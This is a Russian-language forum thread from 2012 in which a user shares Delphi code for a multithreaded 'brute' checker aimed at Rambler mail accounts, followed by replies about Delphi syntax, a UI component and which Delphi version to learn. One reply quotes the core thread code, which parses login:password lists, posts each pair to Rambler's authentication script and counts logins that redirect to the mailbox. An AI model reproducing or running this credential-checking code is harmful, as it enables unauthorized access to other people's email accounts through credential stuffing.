Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 22.11.2012, 13:52   #1
Заблокирован
 Сержант
Аватар для Relli
 
Relli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известен
Регистрация: 19.01.2011
Сообщений: 168
Популярность: 485
Сказал(а) спасибо: 123
Поблагодарили 67 раз(а) в 48 сообщениях
 
По умолчанию многопоточный Брут Rambler

Точно не знаю,работоспособность,т.к. не тестил,а вырезал из 1 из своих программ авторизацию
Скрин

Добавит в uses:
Тык
Добавляем перед глобальным var'ом
Тык
Добавить в глобальный var
Тык
Код кнопки старт
Тык
Код кнопки "стоп"
Тык
Код кнопки "LoadBase"
Тык
Код потока
Тык
  Ответить с цитированием
Старый 28.11.2012, 10:50   #2
 Разведчик
Аватар для readln
 
readln на правильном пути
Регистрация: 12.08.2012
Сообщений: 15
Популярность: 28
Сказал(а) спасибо: 27
Поблагодарили 8 раз(а) в 7 сообщениях
 
По умолчанию Re: многопоточный Брут Rambler

можно исходник??
и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму
  Ответить с цитированием
Старый 28.11.2012, 12:32   #3
Заблокирован
 Сержант
Аватар для Relli
 
Relli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известен
Регистрация: 19.01.2011
Сообщений: 168
Популярность: 485
Сказал(а) спасибо: 123
Поблагодарили 67 раз(а) в 48 сообщениях
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от readlnПосмотреть сообщение
можно исходник??
и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму

Быть может ты удосужишься посмотреть выложенный мною код,и ,быть может,ты увидишь,как я проверяю(ибо там есть комменты и этот момент рассматривается).А исходник не буду выкладывать.
  Ответить с цитированием
Старый 30.11.2012, 06:54   #4
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от readlnПосмотреть сообщение
можно исходник??
и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму

В теме же все понятно написано, процитирую если не видно

Код:
// проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд
if Pos('mail.rambler.ru', http.Response.Location) <> 0 then showmessage('GOOD')
  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
love2 (30.12.2012), Relli (30.11.2012)
Старый 09.12.2012, 14:35   #5
 Разведчик
Аватар для dadya_fedar
 
dadya_fedar никому не известный тип
Регистрация: 21.06.2012
Сообщений: 2
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: многопоточный Брут Rambler

Простите,что флужу...Но,что такое sUpDown это измененное название компонента или что-то еще...Плиз объясните я не далекого ума в delphi...Еще раз прошу прощение за флуд...
  Ответить с цитированием
Старый 09.12.2012, 14:38   #6
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от dadya_fedarПосмотреть сообщение
Простите,что флужу...Но,что такое sUpDown это измененное название компонента или что-то еще...Плиз объясните я не далекого ума в delphi...Еще раз прошу прощение за флуд...

Это компонент:
[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Старый 11.12.2012, 00:07   #7
Заблокирован
 Сержант
Аватар для Relli
 
Relli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известен
Регистрация: 19.01.2011
Сообщений: 168
Популярность: 485
Сказал(а) спасибо: 123
Поблагодарили 67 раз(а) в 48 сообщениях
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от Mezya67Посмотреть сообщение
Где взять компонент supDown..?

Вкладка Win32, компонент TUpDown - не забываем поставить ассоциацию с Edit'ом,где будут показываться потоки.
  Ответить с цитированием
Старый 14.12.2012, 19:03   #8
 Разведчик
Аватар для Tip.the.besT
 
Tip.the.besT на правильном путиTip.the.besT на правильном пути
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
Отправить сообщение для Tip.the.besT с помощью ICQ Отправить сообщение для Tip.the.besT с помощью Skype™
 
По умолчанию Re: многопоточный Брут Rambler

Ссори за чушь...

Последний раз редактировалось Tip.the.besT; 26.12.2012 в 21:14. Причина: xуйню спорол
  Ответить с цитированием
Старый 22.12.2012, 22:10   #9
 Разведчик
Аватар для Gum4ik
 
Gum4ik на правильном пути
Регистрация: 22.12.2012
Сообщений: 9
Популярность: 66
Сказал(а) спасибо: 0
Поблагодарили 5 раз(а) в 3 сообщениях
Отправить сообщение для Gum4ik с помощью Skype™
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от RelliПосмотреть сообщение
// синхронизация,чтобы не было траблов,при работе с глобальными данными и даблов и тп и тд
synchronize(
procedure
begin
j := Ready;
inc(Ready); // увеличиваем кол-во проверенных
if Pos(';', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(';', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(';', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
if Pos(':', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(':', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(':', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
end);
str.Clear;
// заполняем пост запрос
str.Add('back=http://mail.rambler.ru/');
str.Add('login=' + login);
str.Add('domain=' + Copy(login, Pos('@', login) + 1, length(login)));
str.Add('passw=' + pass);
str.Add('long_session=off');
if Work = false then //если кликнули "Стоп" то цикл успешно завершается
break;
// посылаем пост запрос
http.Post('http://id.rambler.ru/script/auth.cgi', str);
// проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд
if Pos('mail.rambler.ru', http.Response.Location) <> 0 then
begin
synchronize(
procedure
begin
inc(good);
end);
end
else
continue;
end;
synchronize(
procedure
begin
if Ready = Finish then
if j + 1 = Ready then
if i = 0 then
begin
showMessage('Готово!');
i := 1;
end;
end);
http.Free;
str.Free;
Form2.Button1.Enabled := true;
Form2.Button2.Enabled := false;
end;

Разве так можно?
Цитата:
synchronize(
procedure
...БЫДЛО КОД...
end;
end);

В процедуре писать еще 1 процедуру да еще и synchronize оставлять с открытой скобкой,
Может я чего не знаю о дельфи?!)но на 7 не работает!
И еще если не сложно распиши все,а то ведь новички даже и не смогут вставить твой код в свои программы...
________________
Delphi+мозг+руки = творение
Слежу за правилами!)

Последний раз редактировалось Gum4ik; 22.12.2012 в 22:13.
  Ответить с цитированием
Старый 22.12.2012, 22:42   #10
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от Gum4ikПосмотреть сообщение
а то ведь новички даже и не смогут вставить твой код в свои программы...

В этом и суть, надо же что бы они хоть чуть чуть думали, а то так и останутся *****-кодерами
  Ответить с цитированием
Пользователь сказал cпасибо:
Relli (23.12.2012)
Старый 23.12.2012, 11:06   #11
Заблокирован
 Сержант
Аватар для Relli
 
Relli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известен
Регистрация: 19.01.2011
Сообщений: 168
Популярность: 485
Сказал(а) спасибо: 123
Поблагодарили 67 раз(а) в 48 сообщениях
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от Gum4ikПосмотреть сообщение
В процедуре писать еще 1 процедуру да еще и synchronize оставлять с открытой скобкой,
Может я чего не знаю о дельфи?!)но на 7 не работает!
И еще если не сложно распиши все,а то ведь новички даже и не смогут вставить твой код в свои программы...

Быдло-код?
Окей,я *****-кодер
И кстати,я пишу на XE2/3,специально для вас,я даже скрин сделал
И если вы не знаете,что именно так и делается этот метод синхронизации,то могли бы и в тряпочку молчать....Я уверен,что многие даже не знают о существовании такого метода синхронизации :3

Последний раз редактировалось Relli; 23.12.2012 в 11:08.
  Ответить с цитированием
Старый 23.12.2012, 11:33   #12
 Разведчик
Аватар для Gum4ik
 
Gum4ik на правильном пути
Регистрация: 22.12.2012
Сообщений: 9
Популярность: 66
Сказал(а) спасибо: 0
Поблагодарили 5 раз(а) в 3 сообщениях
Отправить сообщение для Gum4ik с помощью Skype™
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от RelliПосмотреть сообщение
Быдло-код?

Под моей цитатой подразумевалось лишь только то что мы будем синхронизировать,а не то что твой код туфта!,
А метод этот как не странно на 7 не работает,что весьма огорчает!,поэтому в первом своем посте так и напиши,на 7 не работоспособный!
________________
Delphi+мозг+руки = творение
Слежу за правилами!)
  Ответить с цитированием
Старый 23.12.2012, 12:22   #13
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от Gum4ikПосмотреть сообщение
А метод этот как не странно на 7 не работает,что весьма огорчает!,поэтому в первом своем посте так и напиши,на 7 не работоспособный!

Да кому вообще 7я делфи надо? Есть же новые версии, почему не учить их?
Вы же не учите бейсик...
  Ответить с цитированием
Старый 23.12.2012, 21:46   #14
Заблокирован
 Сержант
Аватар для Relli
 
Relli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известен
Регистрация: 19.01.2011
Сообщений: 168
Популярность: 485
Сказал(а) спасибо: 123
Поблагодарили 67 раз(а) в 48 сообщениях
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от SinyssПосмотреть сообщение
Да кому вообще 7я делфи надо? Есть же новые версии, почему не учить их?
Вы же не учите бейсик...

Согласен,да - делфи 7 - классика,но уже давно устарела.На ней хорошо постигать азы,но не более.
  Ответить с цитированием
Старый 23.12.2012, 23:40   #15
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: многопоточный Брут Rambler

Цитата:
Сообщение от RelliПосмотреть сообщение
Согласен,да - делфи 7 - классика,но уже давно устарела.На ней хорошо постигать азы,но не более.

Для азов я бы заставил писать на максимально урезанном варианте машины тьюринга, (МНР)
операции:
1) увеличение на 1
2) Уменьшение на 1
3) переход в заданную строку
4) условный оператор
5) регистры
И только после этого давал бы всякие делфи или С...
Ну или сразу после МНР что то с ООП... (ну лично я склоняюсь к C# или Java, хотя вариантов сейчас много)
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Продам] PWI/ PvP 1.4.4 Брут , многопоточный .AsTex. Perfect World 14 05.09.2012 20:39

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 10:51.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net